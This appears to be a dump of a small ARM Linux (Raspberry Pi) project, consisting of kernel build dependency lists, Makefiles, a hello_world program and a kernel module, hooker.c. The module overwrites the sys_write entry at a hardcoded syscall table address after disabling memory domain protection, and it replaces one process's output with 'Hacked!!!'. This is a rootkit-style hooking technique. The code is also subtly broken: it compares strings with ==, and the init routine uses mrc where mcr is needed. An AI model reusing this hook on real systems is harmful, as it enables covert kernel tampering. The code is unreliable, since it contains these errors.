$(wildcard include/config/arm/patch/phys/virt.h) \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/virt/to/bus.h) \
include/linux/sizes.h \
arch/arm/mach-bcm2709/include/mach/memory.h \
$(wildcard include/config/bcm2708/nol2cache.h) \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/asm-generic/getorder.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
arch/arm/include/asm/spinlock_types.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
include/linux/rwlock_types.h \
arch/arm/include/asm/spinlock.h \
include/linux/prefetch.h \
arch/arm/include/asm/processor.h \
$(wildcard include/config/have/hw/breakpoint.h) \
$(wildcard include/config/arm/errata/754327.h) \
arch/arm/include/asm/hw_breakpoint.h \
arch/arm/include/asm/unified.h \
$(wildcard include/config/arm/asm/unified.h) \
include/linux/rwlock.h \
include/linux/spinlock_api_smp.h \
$(wildcard include/config/inline/spin/lock.h) \
$(wildcard include/config/inline/spin/lock/bh.h) \
$(wildcard include/config/inline/spin/lock/irq.h) \
$(wildcard include/config/inline/spin/lock/irqsave.h) \
$(wildcard include/config/inline/spin/trylock.h) \
$(wildcard include/config/inline/spin/trylock/bh.h) \
$(wildcard include/config/uninline/spin/unlock.h) \
$(wildcard include/config/inline/spin/unlock/bh.h) \
$(wildcard include/config/inline/spin/unlock/irq.h) \
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
include/linux/rwlock_api_smp.h \
$(wildcard include/config/inline/read/lock.h) \
$(wildcard include/config/inline/write/lock.h) \
$(wildcard include/config/inline/read/lock/bh.h) \
$(wildcard include/config/inline/write/lock/bh.h) \
$(wildcard include/config/inline/read/lock/irq.h) \
$(wildcard include/config/inline/write/lock/irq.h) \
$(wildcard include/config/inline/read/lock/irqsave.h) \
$(wildcard include/config/inline/write/lock/irqsave.h) \
$(wildcard include/config/inline/read/trylock.h) \
$(wildcard include/config/inline/write/trylock.h) \
$(wildcard include/config/inline/read/unlock.h) \
$(wildcard include/config/inline/write/unlock.h) \
$(wildcard include/config/inline/read/unlock/bh.h) \
$(wildcard include/config/inline/write/unlock/bh.h) \
$(wildcard include/config/inline/read/unlock/irq.h) \
$(wildcard include/config/inline/write/unlock/irq.h) \
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
include/linux/atomic.h \
$(wildcard include/config/generic/atomic64.h) \
arch/arm/include/asm/atomic.h \
arch/arm/include/asm/cmpxchg.h \
$(wildcard include/config/cpu/sa110.h) \
$(wildcard include/config/cpu/v6.h) \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/atomic-long.h \
include/linux/math64.h \
$(wildcard include/config/arch/supports/int128.h) \
include/linux/time64.h \
include/uapi/linux/time.h \
include/linux/uidgid.h \
$(wildcard include/config/multiuser.h) \
$(wildcard include/config/user/ns.h) \
include/linux/highuid.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/deferred/struct/page/init.h) \
$(wildcard include/config/pm/sleep.h) \
$(wildcard include/config/cma.h) \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/isolation.h) \
$(wildcard include/config/memcg.h) \
$(wildcard include/config/zone/device.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/compaction.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/page/extension.h) \
$(wildcard include/config/no/bootmem.h) \
$(wildcard include/config/numa/balancing.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/have/memoryless/nodes.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/have/memblock/node/map.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
arch/arm/include/generated/asm/current.h \
include/asm-generic/current.h \
include/uapi/linux/wait.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/nodemask.h \
$(wildcard include/config/movable/node.h) \
include/linux/bitmap.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/page-flags-layout.h \
include/generated/bounds.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/memory/hotremove.h) \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/have/bootmem/info/node.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
$(wildcard include/config/mutex/spin/on/owner.h) \
include/linux/osq_lock.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/spin/on/owner.h) \
$(wildcard include/config/rwsem/generic/spinlock.h) \
arch/arm/include/generated/asm/rwsem.h \
include/asm-generic/rwsem.h \
include/linux/srcu.h \
include/linux/rcupdate.h \
$(wildcard include/config/tiny/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/rcu/trace.h) \
$(wildcard include/config/rcu/stall/common.h) \
$(wildcard include/config/no/hz/full.h) \
$(wildcard include/config/rcu/nocb/cpu.h) \
$(wildcard include/config/tasks/rcu.h) \
$(wildcard include/config/debug/objects/rcu/head.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/prove/rcu.h) \
$(wildcard include/config/rcu/boost.h) \
$(wildcard include/config/rcu/nocb/cpu/all.h) \
$(wildcard include/config/no/hz/full/sysidle.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/completion.h \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/debug/objects/free.h) \
include/linux/ktime.h \
include/linux/jiffies.h \
include/linux/timex.h \
include/uapi/linux/timex.h \
include/uapi/linux/param.h \
arch/arm/include/generated/asm/param.h \
include/asm-generic/param.h \
$(wildcard include/config/hz.h) \
include/uapi/asm-generic/param.h \
arch/arm/include/asm/timex.h \
include/generated/timeconst.h \
include/linux/timekeeping.h \
include/linux/rcutree.h \
include/linux/workqueue.h \
$(wildcard include/config/debug/objects/work.h) \
$(wildcard include/config/freezer.h) \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
$(wildcard include/config/no/hz/common.h) \
include/linux/sysctl.h \
$(wildcard include/config/sysctl.h) \
include/linux/rbtree.h \
include/uapi/linux/sysctl.h \
include/linux/topology.h \
$(wildcard include/config/use/percpu/numa/node/id.h) \
$(wildcard include/config/sched/smt.h) \
include/linux/smp.h \
$(wildcard include/config/up/late/init.h) \
include/linux/llist.h \
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
arch/arm/include/asm/smp.h \
include/linux/percpu.h \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/pfn.h \
arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
arch/arm/include/asm/topology.h \
$(wildcard include/config/arm/cpu/topology.h) \
include/asm-generic/topology.h \
include/linux/elf.h \
arch/arm/include/asm/elf.h \
$(wildcard include/config/vdso.h) \
arch/arm/include/asm/auxvec.h \
arch/arm/include/uapi/asm/auxvec.h \
arch/arm/include/asm/vdso_datapage.h \
arch/arm/include/asm/user.h \
include/uapi/linux/elf.h \
include/uapi/linux/elf-em.h \
include/linux/kobject.h \
$(wildcard include/config/uevent/helper.h) \
$(wildcard include/config/debug/kobject/release.h) \
include/linux/sysfs.h \
include/linux/kernfs.h \
$(wildcard include/config/kernfs.h) \
include/linux/err.h \
include/linux/idr.h \
include/linux/kobject_ns.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/jump_label.h \
$(wildcard include/config/jump/label.h) \
arch/arm/include/asm/jump_label.h \
include/linux/rbtree_latch.h \
arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
$(wildcard include/config/arm/module/plts.h) \
include/asm-generic/module.h \
$(wildcard include/config/have/mod/arch/specific.h) \
$(wildcard include/config/modules/use/elf/rel.h) \
$(wildcard include/config/modules/use/elf/rela.h) \
include/linux/syscalls.h \
$(wildcard include/config/ftrace/syscalls.h) \
$(wildcard include/config/old/sigsuspend.h) \
$(wildcard include/config/old/sigsuspend3.h) \
$(wildcard include/config/old/sigaction.h) \
$(wildcard include/config/odd/rt/sigaction.h) \
$(wildcard include/config/clone/backwards.h) \
$(wildcard include/config/clone/backwards3.h) \
include/uapi/linux/aio_abi.h \
include/linux/capability.h \
include/uapi/linux/capability.h \
include/linux/signal.h \
$(wildcard include/config/proc/fs.h) \
include/uapi/linux/signal.h \
arch/arm/include/asm/signal.h \
arch/arm/include/uapi/asm/signal.h \
include/uapi/asm-generic/signal-defs.h \
arch/arm/include/uapi/asm/sigcontext.h \
arch/arm/include/generated/asm/siginfo.h \
include/asm-generic/siginfo.h \
include/uapi/asm-generic/siginfo.h \
include/linux/sem.h \
$(wildcard include/config/sysvipc.h) \
include/uapi/linux/sem.h \
include/linux/ipc.h \
include/uapi/linux/ipc.h \
arch/arm/include/generated/asm/ipcbuf.h \
include/uapi/asm-generic/ipcbuf.h \
arch/arm/include/generated/asm/sembuf.h \
include/uapi/asm-generic/sembuf.h \
include/uapi/linux/unistd.h \
arch/arm/include/asm/unistd.h \
$(wildcard include/config/oabi/compat.h) \
arch/arm/include/uapi/asm/unistd.h \
include/linux/quota.h \
$(wildcard include/config/quota/netlink/interface.h) \
include/linux/percpu_counter.h \
include/uapi/linux/dqblk_xfs.h \
include/linux/dqblk_v1.h \
include/linux/dqblk_v2.h \
include/linux/dqblk_qtree.h \
include/linux/projid.h \
include/uapi/linux/quota.h \
include/linux/key.h \
$(wildcard include/config/keys.h) \
include/linux/assoc_array.h \
$(wildcard include/config/associative/array.h) \
include/trace/syscall.h \
$(wildcard include/config/have/syscall/tracepoints.h) \
include/linux/tracepoint.h \
$(wildcard include/config/tracepoint.h) \
include/linux/static_key.h \
include/linux/trace_events.h \
$(wildcard include/config/perf/events.h) \
$(wildcard include/config/bpf/events.h) \
include/linux/ring_buffer.h \
$(wildcard include/config/ring/buffer/allow/swap.h) \
include/linux/kmemcheck.h \
$(wildcard include/config/kmemcheck.h) \
include/linux/mm_types.h \
$(wildcard include/config/split/ptlock/cpus.h) \
$(wildcard include/config/arch/enable/split/pmd/ptlock.h) \
$(wildcard include/config/have/cmpxchg/double.h) \
$(wildcard include/config/have/aligned/struct/page.h) \
$(wildcard include/config/transparent/hugepage.h) \
$(wildcard include/config/userfaultfd.h) \
$(wildcard include/config/pgtable/levels.h) \
$(wildcard include/config/aio.h) \
$(wildcard include/config/mmu/notifier.h) \
$(wildcard include/config/x86/intel/mpx.h) \
include/linux/auxvec.h \
include/uapi/linux/auxvec.h \
include/linux/uprobes.h \
$(wildcard include/config/uprobes.h) \
arch/arm/include/asm/mmu.h \
$(wildcard include/config/cpu/has/asid.h) \
include/linux/mm.h \
$(wildcard include/config/mem/soft/dirty.h) \
$(wildcard include/config/x86.h) \
$(wildcard include/config/ppc.h) \
$(wildcard include/config/parisc.h) \
$(wildcard include/config/metag.h) \
$(wildcard include/config/stack/growsup.h) \
$(wildcard include/config/shmem.h) \
$(wildcard include/config/debug/vm/rb.h) \
$(wildcard include/config/debug/pagealloc.h) \
$(wildcard include/config/hibernation.h) \
$(wildcard include/config/hugetlbfs.h) \
include/linux/debug_locks.h \
$(wildcard include/config/debug/locking/api/selftests.h) \
include/linux/range.h \
include/linux/bit_spinlock.h \
include/linux/shrinker.h \
include/linux/resource.h \
include/uapi/linux/resource.h \
arch/arm/include/generated/asm/resource.h \
include/asm-generic/resource.h \
include/uapi/asm-generic/resource.h \
include/linux/page_ext.h \
$(wildcard include/config/idle/page/tracking.h) \
$(wildcard include/config/page/owner.h) \
include/linux/stacktrace.h \
$(wildcard include/config/stacktrace.h) \
$(wildcard include/config/user/stacktrace/support.h) \
arch/arm/include/asm/pgtable.h \
$(wildcard include/config/highpte.h) \
arch/arm/include/asm/proc-fns.h \
arch/arm/include/asm/glue-proc.h \
$(wildcard include/config/cpu/arm7tdmi.h) \
$(wildcard include/config/cpu/arm720t.h) \
$(wildcard include/config/cpu/arm740t.h) \
$(wildcard include/config/cpu/arm9tdmi.h) \
$(wildcard include/config/cpu/arm920t.h) \
$(wildcard include/config/cpu/arm922t.h) \
$(wildcard include/config/cpu/arm925t.h) \
$(wildcard include/config/cpu/arm926t.h) \
$(wildcard include/config/cpu/arm940t.h) \
$(wildcard include/config/cpu/arm946e.h) \
$(wildcard include/config/cpu/arm1020.h) \
$(wildcard include/config/cpu/arm1020e.h) \
$(wildcard include/config/cpu/arm1022.h) \
$(wildcard include/config/cpu/arm1026.h) \
$(wildcard include/config/cpu/mohawk.h) \
$(wildcard include/config/cpu/feroceon.h) \
$(wildcard include/config/cpu/v6k.h) \
$(wildcard include/config/cpu/pj4b.h) \
$(wildcard include/config/cpu/v7.h) \
include/asm-generic/pgtable-nopud.h \
arch/arm/include/asm/pgtable-hwdef.h \
arch/arm/include/asm/pgtable-2level-hwdef.h \
arch/arm/include/asm/tlbflush.h \
$(wildcard include/config/smp/on/up.h) \
$(wildcard include/config/cpu/tlb/v4wt.h) \
$(wildcard include/config/cpu/tlb/fa.h) \
$(wildcard include/config/cpu/tlb/v4wbi.h) \
$(wildcard include/config/cpu/tlb/feroceon.h) \
$(wildcard include/config/cpu/tlb/v4wb.h) \
$(wildcard include/config/cpu/tlb/v6.h) \
$(wildcard include/config/cpu/tlb/v7.h) \
$(wildcard include/config/arm/errata/720789.h) \
$(wildcard include/config/arm/errata/798181.h) \
include/linux/sched.h \
$(wildcard include/config/sched/debug.h) \
$(wildcard include/config/lockup/detector.h) \
$(wildcard include/config/detect/hung/task.h) \
$(wildcard include/config/core/dump/default/elf/headers.h) \
$(wildcard include/config/virt/cpu/accounting/native.h) \
$(wildcard include/config/sched/autogroup.h) \
$(wildcard include/config/bsd/process/acct.h) \
$(wildcard include/config/taskstats.h) \
$(wildcard include/config/audit.h) \
$(wildcard include/config/inotify/user.h) \
$(wildcard include/config/fanotify.h) \
$(wildcard include/config/epoll.h) \
$(wildcard include/config/posix/mqueue.h) \
$(wildcard include/config/bpf/syscall.h) \
$(wildcard include/config/sched/info.h) \
$(wildcard include/config/task/delay/acct.h) \
$(wildcard include/config/schedstats.h) \
$(wildcard include/config/sched/mc.h) \
$(wildcard include/config/fair/group/sched.h) \
$(wildcard include/config/rt/group/sched.h) \
$(wildcard include/config/cgroup/sched.h) \
$(wildcard include/config/blk/dev/io/trace.h) \
$(wildcard include/config/memcg/kmem.h) \
$(wildcard include/config/compat/brk.h) \
$(wildcard include/config/cc/stackprotector.h) \
$(wildcard include/config/virt/cpu/accounting/gen.h) \
$(wildcard include/config/auditsyscall.h) \
$(wildcard include/config/rt/mutexes.h) \
$(wildcard include/config/block.h) \
$(wildcard include/config/task/xacct.h) \
$(wildcard include/config/cpusets.h) \
$(wildcard include/config/cgroups.h) \
$(wildcard include/config/futex.h) \
$(wildcard include/config/arch/want/batched/unmap/tlb/flush.h) \
$(wildcard include/config/fault/injection.h) \
$(wildcard include/config/latencytop.h) \
$(wildcard include/config/function/graph/tracer.h) \
$(wildcard include/config/bcache.h) \
$(wildcard include/config/arch/wants/dynamic/task/struct.h) \
$(wildcard include/config/have/unstable/sched/clock.h) \
$(wildcard include/config/irq/time/accounting.h) \
$(wildcard include/config/have/copy/thread/tls.h) \
include/uapi/linux/sched.h \
include/linux/sched/prio.h \
include/linux/plist.h \
$(wildcard include/config/debug/pi/list.h) \
include/linux/cputime.h \
arch/arm/include/generated/asm/cputime.h \
include/asm-generic/cputime.h \
$(wildcard include/config/virt/cpu/accounting.h) \
include/asm-generic/cputime_jiffies.h \
include/linux/shm.h \
include/uapi/linux/shm.h \
arch/arm/include/generated/asm/shmbuf.h \
include/uapi/asm-generic/shmbuf.h \
arch/arm/include/asm/shmparam.h \
include/linux/pid.h \
include/linux/proportions.h \
include/linux/seccomp.h \
$(wildcard include/config/seccomp.h) \
$(wildcard include/config/have/arch/seccomp/filter.h) \
$(wildcard include/config/seccomp/filter.h) \
$(wildcard include/config/checkpoint/restore.h) \
include/uapi/linux/seccomp.h \
arch/arm/include/generated/asm/seccomp.h \
include/asm-generic/seccomp.h \
include/linux/rculist.h \
include/linux/rtmutex.h \
$(wildcard include/config/debug/rt/mutexes.h) \
include/linux/hrtimer.h \
$(wildcard include/config/high/res/timers.h) \
$(wildcard include/config/time/low/res.h) \
$(wildcard include/config/timerfd.h) \
include/linux/timerqueue.h \
include/linux/task_io_accounting.h \
$(wildcard include/config/task/io/accounting.h) \
include/linux/latencytop.h \
include/linux/cred.h \
$(wildcard include/config/debug/credentials.h) \
$(wildcard include/config/security.h) \
include/linux/selinux.h \
$(wildcard include/config/security/selinux.h) \
include/uapi/linux/magic.h \
include/linux/cgroup-defs.h \
include/uapi/linux/limits.h \
include/linux/percpu-refcount.h \
include/linux/percpu-rwsem.h \
include/linux/rcu_sync.h \
include/linux/cgroup_subsys.h \
$(wildcard include/config/cgroup/cpuacct.h) \
$(wildcard include/config/blk/cgroup.h) \
$(wildcard include/config/cgroup/device.h) \
$(wildcard include/config/cgroup/freezer.h) \
$(wildcard include/config/cgroup/net/classid.h) \
$(wildcard include/config/cgroup/perf.h) \
$(wildcard include/config/cgroup/net/prio.h) \
$(wildcard include/config/cgroup/hugetlb.h) \
$(wildcard include/config/cgroup/pids.h) \
$(wildcard include/config/cgroup/debug.h) \
arch/arm/include/asm/pgtable-2level.h \
include/asm-generic/pgtable.h \
$(wildcard include/config/have/arch/soft/dirty.h) \
$(wildcard include/config/have/arch/huge/vmap.h) \
include/linux/page-flags.h \
$(wildcard include/config/arch/uses/pg/uncached.h) \
$(wildcard include/config/memory/failure.h) \
$(wildcard include/config/swap.h) \
$(wildcard include/config/ksm.h) \
include/linux/huge_mm.h \
include/linux/vmstat.h \
$(wildcard include/config/vm/event/counters.h) \
$(wildcard include/config/debug/tlbflush.h) \
$(wildcard include/config/debug/vm/vmacache.h) \
include/linux/vm_event_item.h \
$(wildcard include/config/migration.h) \
$(wildcard include/config/memory/balloon.h) \
$(wildcard include/config/balloon/compaction.h) \
include/linux/seq_file.h \
include/linux/poll.h \
include/linux/fs.h \
$(wildcard include/config/fs/posix/acl.h) \
$(wildcard include/config/cgroup/writeback.h) \
$(wildcard include/config/ima.h) \
$(wildcard include/config/fsnotify.h) \
$(wildcard include/config/file/locking.h) \
$(wildcard include/config/quota.h) \
$(wildcard include/config/fs/dax.h) \
include/linux/kdev_t.h \
include/uapi/linux/kdev_t.h \
include/linux/dcache.h \
include/linux/rculist_bl.h \
include/linux/list_bl.h \
include/linux/lockref.h \
$(wildcard include/config/arch/use/cmpxchg/lockref.h) \
include/linux/path.h \
include/linux/list_lru.h \
include/linux/radix-tree.h \
include/linux/semaphore.h \
include/uapi/linux/fiemap.h \
include/linux/migrate_mode.h \
include/linux/blk_types.h \
$(wildcard include/config/blk/dev/integrity.h) \
include/uapi/linux/fs.h \
include/uapi/linux/ioctl.h \
arch/arm/include/generated/asm/ioctl.h \
include/asm-generic/ioctl.h \
include/uapi/asm-generic/ioctl.h \
include/linux/nfs_fs_i.h \
include/linux/fcntl.h \
include/uapi/linux/fcntl.h \
arch/arm/include/uapi/asm/fcntl.h \
include/uapi/asm-generic/fcntl.h \
arch/arm/include/asm/uaccess.h \
$(wildcard include/config/have/efficient/unaligned/access.h) \
$(wildcard include/config/cpu/sw/domain/pan.h) \
$(wildcard include/config/cpu/use/domains.h) \
$(wildcard include/config/uaccess/with/memcpy.h) \
arch/arm/include/asm/domain.h \
$(wildcard include/config/io/36.h) \
include/uapi/linux/poll.h \
arch/arm/include/generated/asm/poll.h \
include/uapi/asm-generic/poll.h \
include/linux/trace_seq.h \
include/linux/seq_buf.h \
include/linux/hardirq.h \
include/linux/ftrace_irq.h \
$(wildcard include/config/ftrace/nmi/enter.h) \
include/linux/vtime.h \
include/linux/context_tracking_state.h \
$(wildcard include/config/context/tracking.h) \
arch/arm/include/asm/hardirq.h \
arch/arm/include/asm/irq.h \
$(wildcard include/config/sparse/irq.h) \
$(wildcard include/config/multi/irq/handler.h) \
include/linux/irq_cpustat.h \
include/linux/perf_event.h \
$(wildcard include/config/function/tracer.h) \
$(wildcard include/config/cpu/sup/intel.h) \
include/uapi/linux/perf_event.h \
arch/arm/include/asm/perf_event.h \
arch/arm/include/generated/asm/local64.h \
include/asm-generic/local64.h \
include/linux/pid_namespace.h \
$(wildcard include/config/pid/ns.h) \
include/linux/nsproxy.h \
include/linux/ns_common.h \
include/linux/ftrace.h \
$(wildcard include/config/dynamic/ftrace/with/regs.h) \
$(wildcard include/config/dynamic/ftrace.h) \
$(wildcard include/config/stack/tracer.h) \
$(wildcard include/config/frame/pointer.h) \
include/linux/trace_clock.h \
arch/arm/include/generated/asm/trace_clock.h \
include/asm-generic/trace_clock.h \
include/linux/kallsyms.h \
include/linux/ptrace.h \
include/uapi/linux/ptrace.h \
arch/arm/include/asm/ftrace.h \
$(wildcard include/config/old/mcount.h) \
include/linux/cpu.h \
$(wildcard include/config/pm/sleep/smp.h) \
include/linux/node.h \
$(wildcard include/config/memory/hotplug/sparse.h) \
include/linux/device.h \
$(wildcard include/config/debug/devres.h) \
$(wildcard include/config/generic/msi/irq/domain.h) \
$(wildcard include/config/pinctrl.h) \
$(wildcard include/config/generic/msi/irq.h) \
$(wildcard include/config/dma/cma.h) \
$(wildcard include/config/of.h) \
$(wildcard include/config/devtmpfs.h) \
$(wildcard include/config/sysfs/deprecated.h) \
include/linux/ioport.h \
include/linux/klist.h \
include/linux/pinctrl/devinfo.h \
$(wildcard include/config/pm.h) \
include/linux/pinctrl/consumer.h \
include/linux/pinctrl/pinctrl-state.h \
include/linux/pm.h \
$(wildcard include/config/vt/console/sleep.h) \
$(wildcard include/config/pm/clk.h) \
$(wildcard include/config/pm/generic/domains.h) \
include/linux/ratelimit.h \
arch/arm/include/asm/device.h \
$(wildcard include/config/dmabounce.h) \
$(wildcard include/config/iommu/api.h) \
$(wildcard include/config/arm/dma/use/iommu.h) \
$(wildcard include/config/arch/omap.h) \
include/linux/pm_wakeup.h \
include/linux/irq_work.h \
$(wildcard include/config/irq/work.h) \
arch/arm/include/asm/irq_work.h \
arch/arm/include/asm/smp_plat.h \
arch/arm/include/asm/cpu.h \
arch/arm/include/asm/cputype.h \
$(wildcard include/config/cpu/cp15.h) \
$(wildcard include/config/cpu/pj4.h) \
include/linux/jump_label_ratelimit.h \
include/linux/perf_regs.h \
$(wildcard include/config/have/perf/regs.h) \
arch/arm/include/uapi/asm/perf_regs.h \
include/linux/cgroup.h \
include/uapi/linux/cgroupstats.h \
include/uapi/linux/taskstats.h \
arch/arm/include/generated/asm/local.h \
include/asm-generic/local.h \
/root/hooking/dhooker/hooker.o: $(deps_/root/hooking/dhooker/hooker.o)
$(deps_/root/hooking/dhooker/hooker.o):
/root/hooking/dhooker/hooker.ko
/root/hooking/dhooker/hooker.o
obj-m := hooker.o
KDIR=/root/working/linux
PWD=$(shell pwd)
TOOLCHAIN=arm-linux-gnueabihf-
TARGET=arm
all:
$(MAKE) -C $(KDIR) M=$(PWD) ARCH=$(TARGET) CROSS_COMPILE=$(TOOLCHAIN) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/string.h>
#define SYSCALL_TABLE_BASE_ADDR (0x8000fc28)
#define MANAGER_PERMISSION (0xff)
unsigned int ** g_puSysTableAddr = (unsigned int**) SYSCALL_TABLE_BASE_ADDR;
unsigned int g_uPrevAP = 0x00;
unsigned int g_uNewAP = MANAGER_PERMISSION;
unsigned int (* sys_write_orig)(int fd, char *byf, size_t count);
//sys_write_orig() 호출 전 pBuF의 내용 수정
unsigned int sys_write_hooked(int nFD, char *pBuf, size_t nCnt){
if(current->comm == "hello_world" && nFD == 1){
memset(pBuf, 0, nCnt);
strcpy(pBuf, "Hacked!!!\n");
return sys_write_orig(nFD,pBuf, nCnt);
}
else{
return sys_write_orig(nFD,pBuf, nCnt);
}
}
int __init Hook_Init(void){
sys_write_orig = (void *)g_puSysTableAddr[__NR_write];
__asm__ __volatile__("mrc p15, 0, %0, c3, c0" : "=r"(g_uPrevAP));
__asm__ __volatile__("mrc p15, 0, %0, c3, c0" : : "r"(g_uNewAP));
g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_hooked;
__asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP));
return 0;
}
void __exit Hook_Exit(void){
__asm__ __volatile__("mrc p15,0, %0, c3,c0" : "=r"(g_uPrevAP));
__asm__ __volatile__("mcr p15, 0, %0, c3, c0" : :"r"(g_uNewAP));
g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_orig;
__asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP));
}
module_init(Hook_Init);
module_exit(Hook_Exit);
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0xb344870e, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x2e5810c6, __VMLINUX_SYMBOL_STR(__aeabi_unwind_cpp_pr1) },
{ 0xfa2a45e, __VMLINUX_SYMBOL_STR(__memzero) },
{ 0xb1ad28e0, __VMLINUX_SYMBOL_STR(__gnu_mcount_nc) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "D2F3FA25DCB0D285CB3AE41");
No preview for this file type
No preview for this file type
kernel//root/hooking/dhooker/hooker.ko
No preview for this file type
No preview for this file type
export APP_NAME=hello_world
export MOD_NAME=hooker
PWD=$(shell pwd)
APP_PATH=$(PWD)/d$(APP_NAME)
MOD_PATH=$(PWD)/d$(MOD_NAME)
all: $(MOD_NAME) $(APP_NAME)
$(MOD_NAME):
$(MAKE) -C $(MOD_PATH)
mv $(MOD_PATH)/$@.ko $(PWD)
$(APP_NAME):
$(MAKE) -C $(APP_PATH)
mv $(APP_PATH)/$@ $(PWD)
clean:
$(RM) $(PWD)/$(MOD_NAME).ko
$(RM) $(PWD)/$(APP_NAME)
arm-linux-gnueabihf-gcc -C $(MOD_PATH) clean
arm-linux-gnueabihf-gcc -C $(APP_PATH) clean
APP_NAME := hello_world
all:
arm-linux-gnueabihf-gcc -o $(APP_NAME) $(APP_NAME).c
clean:
$(RM) $(APP_NAME).o
#include <stdio.h>
int main(int argc, char *argv[]){
char sHelloMsg[] = {"Hello world!\n"};
printf(sHelloMsg);
return 0;
}
cmd_/root/hooking/dhooker/hooker.ko := arm-linux-gnueabihf-ld -EL -r -T ./scripts/module-common.lds --build-id -o /root/hooking/dhooker/hooker.ko /root/hooking/dhooker/hooker.o /root/hooking/dhooker/hooker.mod.o
cmd_/root/hooking/dhooker/hooker.mod.o := arm-linux-gnueabihf-gcc -Wp,-MD,/root/hooking/dhooker/.hooker.mod.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabihf/5/include -I./arch/arm/include -Iarch/arm/include/generated/uapi -Iarch/arm/include/generated -Iinclude -I./arch/arm/include/uapi -Iarch/arm/include/generated/uapi -I./include/uapi -Iinclude/generated/uapi -include ./include/linux/kconfig.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-bcm2709/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-maybe-uninitialized -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fno-stack-protector -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -DCC_HAVE_ASM_GOTO -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(hooker.mod)" 